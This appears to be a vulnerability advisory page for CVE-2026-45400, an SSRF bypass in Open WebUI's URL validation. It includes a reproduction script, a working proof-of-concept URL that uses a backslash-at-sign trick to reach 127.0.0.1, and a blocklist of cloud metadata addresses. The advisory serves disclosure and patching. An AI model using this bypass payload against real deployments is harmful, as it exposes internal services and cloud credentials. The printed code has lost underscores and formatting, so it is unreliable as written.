CVE-2026-45400: Open WebUI: Server-Side Request Forgery (SSRF) bypass in `validate_url`

Published May 14, 2026
·
Updated

Summary In the open-webui project, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability.

Details In the current project, URL validation is performed using the function validateurl.

<img width="1323" height="1145" alt="QQ20260322-202854-22-1" src="https://github.com/user-attachments/assets/896d19f2-c7c3-499a-9052-12aea756ac47" />

The current checking logic uses urlparse to parse the hostname part of the URL for verification.

<img width="1122" height="429" alt="QQ20260322-203014-22-2" src="https://github.com/user-attachments/assets/653520e9-e311-4a5e-8345-a2446e217d88" />

However, there are actually differences in parsing between urlparse and the library that actually sends the request. For example, in files.py, validateurl is used first for URL validation, and then requests.get is used to send the request.

<img width="1269" height="915" alt="QQ20260322-203122-22-3" src="https://github.com/user-attachments/assets/f200aa06-9190-425e-9659-1ecaf95f806b" />

The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:

- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public) - requests treats \ as a path character, connecting to 127.0.0.1 (internal)

Below is a test code I wrote following the open-webui code. from future import annotations

import ipaddress import logging import os import socket import urllib.parse import urllib.request from typing import Optional, Sequence, Union import requests

log = logging.getLogger(name)

Same text as openwebui.constants.ERRORMESSAGES.INVALIDURL INVALIDURL = ( "Oops! The URL you provided is invalid. Please double-check and try again." )

Same semantics as openwebui.config (ENABLERAGLOCALWEBFETCH / WEBFETCHFILTERLIST) ENABLERAGLOCALWEBFETCH = ( os.getenv("ENABLERAGLOCALWEBFETCH", "False").lower() == "true" )

DEFAULTWEBFETCHFILTERLIST = [ "!169.254.169.254", "!fd00:ec2::254", "!metadata.google.internal", "!metadata.azure.com", "!100.100.100.200", ] webfetchfilterenv = os.getenv("WEBFETCHFILTERLIST", "") if webfetchfilterenv == "": webfetchfilterenvlist: list[str] = [] else: webfetchfilterenvlist = [ item.strip() for item in webfetchfilterenv.split(",") if item.strip() ] WEBFETCHFILTERLIST = list( set(DEFAULTWEBFETCHFILTERLIST + webfetchfilterenvlist) )

def getallowblocklists(filterlist): allowlist = [] blocklist = []

if filterlist: for d in filterlist: if d.startswith("!"): blocklist.append(d[1:].strip()) else: allowlist.append(d.strip())

return allowlist, blocklist

def isstringallowed( string: Union[str, Sequence[str]], filterlist: Optional[list[str]] = None ) -> bool: if not filterlist: return True

allowlist, blocklist = getallowblocklists(filterlist) strings = [string] if isinstance(string, str) else list(string)

if allowlist: if not any(s.endswith(allowed) for s in strings for allowed in allowlist): return False

if any(s.endswith(blocked) for s in strings for blocked in blocklist): return False

return True

def resolvehostname(hostname): # Get address information addrinfo = socket.getaddrinfo(hostname, None)

# Extract IP addresses from address information ipv4addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET] ipv6addresses = [info[4][0] for info in addrinfo if info[0] == socket.AFINET6]

return ipv4addresses, ipv6addresses

def validatorsurlaccept(url: str) -> bool: """ Stand-in for python-validators url(): True if string looks like http(s) URL with host. """ try: u = url.strip() if not u: return False p = urllib.parse.urlparse(u) if p.scheme not in ("http", "https"): return False if not p.netloc: return False return True except Exception: return False

def ipv4private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 4 and a.isprivate except ValueError: return False

def ipv6private(ip: str) -> bool: try: a = ipaddress.ipaddress(ip) return a.version == 6 and a.isprivate except ValueError: return False

def validateurl(url: Union[str, Sequence[str]]): if isinstance(url, str): if not validatorsurlaccept(url): raise ValueError(INVALIDURL)

parsedurl = urllib.parse.urlparse(url)

# Protocol validation - only allow http/https if parsedurl.scheme not in ["http", "https"]: log.warning( f"Blocked non-HTTP(S) protocol: {parsedurl.scheme} in URL: {url}" ) raise ValueError(INVALIDURL)

# Blocklist check using unified filtering logic if WEBFETCHFILTERLIST: if not isstringallowed(url, WEBFETCHFILTERLIST): log.warning(f"URL blocked by filter list: {url}") raise ValueError(INVALIDURL)

if not ENABLERAGLOCALWEBFETCH: # Local web fetch is disabled, filter out any URLs that resolve to private IP addresses parsedurl = urllib.parse.urlparse(url) # Get IPv4 and IPv6 addresses ipv4addresses, ipv6addresses = resolvehostname(parsedurl.hostname) # Check if any of the resolved addresses are private # This is technically still vulnerable to DNS rebinding attacks, as we don't control WebBaseLoader for ip in ipv4addresses: if ipv4private(ip): raise ValueError(INVALIDURL) for ip in ipv6addresses: if ipv6private(ip): raise ValueError(INVALIDURL) return True elif isinstance(url, Sequence): return all(validateurl(u) for u in url) else: return False

if name == "main": logging.basicConfig(level=logging.INFO) # url = "https://127.0.0.1:6666\@1.1.1.1" url = "https://127.0.0.1:6666" validateurl(url) response = requests.get(url) print(response.text)

As you can see, the current check on 127.0.0.1:6666 successfully identified it as an internal network IP and blocked it.

<img width="1428" height="273" alt="QQ20260322-203503-22-4" src="https://github.com/user-attachments/assets/cf29b639-d4fe-409e-a516-2424d608739f" />

However, for https://127.0.0.1:6666\@1.1.1.1/, the hostname extracted by validateurl is 1.1.1.1, which is considered a public IP address and therefore passes validation. In reality, this URL is being used to request the internal IP address 127.0.0.1:6666, resulting in an SSRF bypass.

<img width="2255" height="786" alt="QQ20260322-203750-22-5" src="https://github.com/user-attachments/assets/050bc6a4-760f-4d7a-8b52-056778097cd1" />

PoC http://127.0.0.1:6666\@baidu.com

Impact SSRF

Other sources

Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.5, a parsing difference between the urlparse and requests libraries led to an SSRF bypass vulnerability. This vulnerability is fixed in 0.9.5.

MITRE

Affected Software

2 affected componentsFixes available
pip/open-webui<=0.9.4
0.9.5
openwebui Open WebUI<0.9.5

Event History

May 14, 2026
Advisory Published
via GitHub·08:27 PM
Data Sourced
via GitHub·08:27 PM
DescriptionSeverityWeaknessAffected Software
May 15, 2026
CVE Published
via MITRE·08:40 PM
Data Sourced
via MITRE·08:40 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·09:16 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2026-45400?

The severity of CVE-2026-45400 is high with a CVSS score of 8.5.

2

How do I fix CVE-2026-45400?

To fix CVE-2026-45400, update to the latest version of the open-webui software as detailed in the project's release notes.

3

What type of vulnerability is CVE-2026-45400?

CVE-2026-45400 is a Server-Side Request Forgery (SSRF) bypass vulnerability caused by a parsing difference between urlparse and requests libraries.

4

What products are affected by CVE-2026-45400?

CVE-2026-45400 affects the open-webui project, specifically the versions prior to the fix in their latest release.

5

What is the impact of CVE-2026-45400?

The impact of CVE-2026-45400 includes potential unauthorized access to internal systems or data due to SSRF.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203